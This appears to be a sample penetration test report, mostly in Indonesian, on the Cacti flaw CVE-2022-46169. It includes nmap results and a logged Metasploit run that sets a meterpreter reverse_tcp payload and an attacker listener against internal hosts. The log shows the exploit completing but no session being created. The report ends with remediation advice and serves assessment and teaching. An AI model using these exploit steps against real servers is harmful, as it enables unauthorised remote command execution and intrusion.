UNIVERSITAS GADJAH MADA

Sample Penetration Test Report
Example Company

Company: Customer Name
Date: 25 June 2024
Version 1.0

UNIVERSITAS GADJAH MADA

Introduction

Laporan ini disusun sebagai hasil pengujian penetrasi terhadap CVE-2022-46169, sebuah kerentanan yang ditemukan dalam perangkat lunak Cacti. Kerentanan ini memungkinkan serangan tanpa autentikasi untuk melakukan eksekusi perintah sistem secara sewenang-wenang pada server yang menjalankan Cacti. Dalam laporan ini, kami akan memberikan detail mengenai temuan kerentanan CVE-2022-46169 yang kami identifikasi selama penilaian. Kami akan menjelaskan dengan rinci potensi dampak dan risiko yang terkait dengan kerentanan ini, serta memberikan rekomendasi tindakan untuk memperbaiki kerentanan tersebut dan meningkatkan keamanan sistem secara menyeluruh.

Executive Summary

Scanned Devices:

- 10.33.102.212: Cacti Detected

- 10.33.102.225: Cacti Detected

Vulnerable Devices:

- 10.33.102.212: CVE-2022-46169 Vulnerability Detected

- 10.33.102.225: CVE-2022-46169 Vulnerability Detected

Pada 25 June 2024, kami melaksanakan uji penetrasi dengan menggunakan pengetahuan sebelumnya tentang lingkungan internal atau dengan menggunakan kredensial yang kami miliki sebelumnya. Tujuannya adalah untuk menemukan kelemahan keamanan dan menguji kemungkinan pengeksploitasian celah tersebut. Pengujian dilakukan secara otomatis dengan menggunakan alat khusus yang dirancang untuk mendeteksi kerentanan CVE-2022-46169 pada Cacti. Kerentanan CVE-2022-46169 merupakan kerentanan eksekusi kode dari jarak jauh pada Cacti. Kerentanan ini terjadi karena adanya kecacatan pada file remote_agent.php. File ini dapat diakses tanpa perlu otentikasi, sehingga dapat dimanfaatkan oleh penyerang untuk melakukan eksekusi kode dari jarak jauh.

Scan Target

Nmap 7.93 scan initiated Tue Jun 25 12:12:53 2024 as: nmap -sV -sC -Pn --script http-title -iL targets.txt -oN nmap_results.txt
Nmap scan report for 10.33.102.212
Host is up (0.11s latency).
Not shown: 997 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION

22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.54 ((Debian))
|_http-title: Login to Cacti
|_http-server-header: Apache/2.4.54 (Debian)
8086/tcp open http InfluxDB http admin 1.6.4
|_http-title: Site doesn't have a title (text/plain; charset=utf-8).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Nmap scan report for 10.33.102.225
Host is up (0.098s latency).
Not shown: 998 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.54 ((Debian))
|_http-title: Login to Cacti
|_http-server-header: Apache/2.4.54 (Debian)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done at Tue Jun 25 12:13:29 2024 -- 2 IP addresses (2 hosts up) scanned in 36.70 seconds

Exploitabel

[*] Processing exploit_cacti_resource.rc for ERB directives.
resource (exploit_cacti_resource.rc)> use exploit/linux/http/cacti_unauthenticated_cmd_injection
[*] Using configured payload linux/x86/meterpreter/reverse_tcp
resource (exploit_cacti_resource.rc)> set RHOSTS 10.33.102.225
RHOSTS => 10.33.102.225
resource (exploit_cacti_resource.rc)> set RPORT 80
RPORT => 80
resource (exploit_cacti_resource.rc)> set LHOST 10.0.2.15
LHOST => 10.0.2.15
resource (exploit_cacti_resource.rc)> exploit -j
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
resource (exploit_cacti_resource.rc)> sleep 20
[*] Started reverse TCP handler on 10.0.2.15:4444

```
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. The target is Cacti version 1.2.22
[*] Trying to bruteforce an exploitable host_id and local_data_id by trying up
to 500 combinations
[*] Enumerating local_data_id values for host_id 1
[+] Found exploitable local_data_id 15 for host_id 1
[*] Command Stager progress - 100.00% done (1118/1118 bytes)
resource (exploit_cacti_resource.rc)> sessions -i

Active sessions
===============

No active sessions.

resource (exploit_cacti_resource.rc)> sessions -c 'ls -la' -i 1
[-] Invalid session identifier: 1
resource (exploit_cacti_resource.rc)> sleep 10
resource (exploit_cacti_resource.rc)> exit
resource (exploit_cacti_resource.rc)> exit -y
```

Recommendation

Untuk mengurangi risiko dari CVE-2022-46169, disarankan untuk mengambil langkah-langkah berikut:

- Memperbarui Cacti ke versi terbaru yang tersedia.
- Menerapkan aturan firewall yang membatasi akses ke layanan Cacti.
- Melakukan evaluasi keamanan secara berkala dan pengujian penetrasi untuk mengidentifikasi dan mengatasi kerentanan.
- Menerapkan kebijakan sandi yang kuat dan menghindari penggunaan kredensial default.
- Rutin memperbarui perangkat untuk mengatasi masalah keamanan.